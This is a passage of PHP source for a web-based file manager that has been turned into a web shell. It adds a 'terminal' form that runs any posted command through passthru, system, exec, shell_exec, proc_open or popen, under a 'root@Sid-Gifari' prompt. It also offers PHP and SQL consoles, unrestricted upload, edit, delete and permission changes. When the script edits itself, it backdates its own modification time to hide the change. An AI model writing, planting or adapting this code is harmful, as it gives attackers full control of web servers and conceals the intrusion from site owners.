	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
